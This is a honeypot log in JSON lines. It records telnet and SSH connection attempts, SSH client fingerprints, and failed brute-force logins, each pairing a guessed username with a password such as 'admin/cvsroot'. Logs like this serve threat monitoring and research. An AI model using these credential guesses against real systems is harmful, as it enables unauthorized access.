{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":38982,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be74a1b8907","protocol":"telnet","message":"New connection: 173.249.14.218:38982 (159.203.135.109:23) [session: 3be74a1b8907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:23.642252Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":39474,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee3f5fce1d83","protocol":"telnet","message":"New connection: 173.249.14.218:39474 (159.203.135.109:23) [session: ee3f5fce1d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:24.019575Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.224.1.144","src_port":36010,"dst_ip":"159.203.135.109","dst_port":23,"session":"214eee1a51ad","protocol":"telnet","message":"New connection: 169.224.1.144:36010 (159.203.135.109:23) [session: 214eee1a51ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:25.502294Z"}
{"eventid":"cowrie.session.closed","duration":30.3731791973114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:28.049181Z","src_ip":"173.249.14.218","session":"950356509242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103509187698364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:28.065070Z","src_ip":"173.249.14.218","session":"648fd4813b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52084,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f7dabc90b55","protocol":"ssh","message":"New connection: 159.203.92.129:52084 (159.203.135.109:22) [session: 9f7dabc90b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:28.079950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:28.084955Z","src_ip":"159.203.92.129","session":"9f7dabc90b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:28.089391Z","src_ip":"159.203.92.129","session":"9f7dabc90b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"code#520@nlpr","message":"login attempt [admin/code#520@nlpr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:28.100058Z","src_ip":"159.203.92.129","session":"9f7dabc90b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.302762746810913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:29.064340Z","src_ip":"173.249.14.218","session":"f39bbd17762a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62694549560547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:29.075427Z","src_ip":"173.249.14.218","session":"b4389365b19d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:29.106524Z","src_ip":"159.203.92.129","session":"9f7dabc90b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":51692,"dst_ip":"159.203.135.109","dst_port":23,"session":"361eb05d36df","protocol":"telnet","message":"New connection: 173.249.14.218:51692 (159.203.135.109:23) [session: 361eb05d36df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:31.047689Z"}
{"eventid":"cowrie.session.closed","duration":30.601075410842896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:37.148092Z","src_ip":"173.249.14.218","session":"f23ad350fe50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.90677523612976,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:39.408952Z","src_ip":"169.224.1.144","session":"214eee1a51ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":43532,"dst_ip":"159.203.135.109","dst_port":22,"session":"056c5fc0acd4","protocol":"ssh","message":"New connection: 103.172.20.218:43532 (159.203.135.109:22) [session: 056c5fc0acd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:41.603064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:41.607843Z","src_ip":"103.172.20.218","session":"056c5fc0acd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:41.834731Z","src_ip":"103.172.20.218","session":"056c5fc0acd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abcd","message":"login attempt [test/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:42.774951Z","src_ip":"103.172.20.218","session":"056c5fc0acd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":43730,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c130d4f2a27","protocol":"telnet","message":"New connection: 173.249.14.218:43730 (159.203.135.109:23) [session: 3c130d4f2a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:43.280000Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:44.003790Z","src_ip":"103.172.20.218","session":"056c5fc0acd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.290868282318115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:47.064789Z","src_ip":"173.249.14.218","session":"a6e077473553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63744854927063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:48.055667Z","src_ip":"173.249.14.218","session":"02f1afd35e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491861820220947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:51.056534Z","src_ip":"173.249.14.218","session":"a3c830871fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70448637008667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:53.098395Z","src_ip":"173.249.14.218","session":"44779a156c89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450510263442993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:54.092638Z","src_ip":"173.249.14.218","session":"3be74a1b8907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.256101369857788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:44:55.275546Z","src_ip":"173.249.14.218","session":"ee3f5fce1d83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.022061109542847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:02.069607Z","src_ip":"173.249.14.218","session":"361eb05d36df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43422,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9e047640561","protocol":"ssh","message":"New connection: 159.203.92.129:43422 (159.203.135.109:22) [session: e9e047640561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:10.803626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:10.808972Z","src_ip":"159.203.92.129","session":"e9e047640561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:10.814692Z","src_ip":"159.203.92.129","session":"e9e047640561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cr2750af6bTs1pkq","message":"login attempt [admin/cr2750af6bTs1pkq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:10.830867Z","src_ip":"159.203.92.129","session":"e9e047640561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:11.848833Z","src_ip":"159.203.92.129","session":"e9e047640561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77047109603882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:14.050350Z","src_ip":"173.249.14.218","session":"3c130d4f2a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":40100,"dst_ip":"159.203.135.109","dst_port":22,"session":"05d8e350415d","protocol":"ssh","message":"New connection: 103.172.20.218:40100 (159.203.135.109:22) [session: 05d8e350415d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:35.919852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:35.924566Z","src_ip":"103.172.20.218","session":"05d8e350415d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:36.152530Z","src_ip":"103.172.20.218","session":"05d8e350415d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password!","message":"login attempt [user/password!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:37.098600Z","src_ip":"103.172.20.218","session":"05d8e350415d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:38.330190Z","src_ip":"103.172.20.218","session":"05d8e350415d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48296,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb73f18fa2d","protocol":"ssh","message":"New connection: 159.203.92.129:48296 (159.203.135.109:22) [session: 6eb73f18fa2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:52.650933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:52.655360Z","src_ip":"159.203.92.129","session":"6eb73f18fa2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:52.659833Z","src_ip":"159.203.92.129","session":"6eb73f18fa2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cvsroot","message":"login attempt [admin/cvsroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:52.673793Z","src_ip":"159.203.92.129","session":"6eb73f18fa2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:45:53.683381Z","src_ip":"159.203.92.129","session":"6eb73f18fa2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":40890,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2c2307d9b66","protocol":"ssh","message":"New connection: 103.172.20.218:40890 (159.203.135.109:22) [session: a2c2307d9b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:30.419729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:30.425229Z","src_ip":"103.172.20.218","session":"a2c2307d9b66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:30.652035Z","src_ip":"103.172.20.218","session":"a2c2307d9b66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"zxcvbnm","message":"login attempt [test/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:31.588996Z","src_ip":"103.172.20.218","session":"a2c2307d9b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:32.818111Z","src_ip":"103.172.20.218","session":"a2c2307d9b66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49710,"dst_ip":"159.203.135.109","dst_port":22,"session":"884b77efb162","protocol":"ssh","message":"New connection: 159.203.92.129:49710 (159.203.135.109:22) [session: 884b77efb162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:46:35.535326Z"}
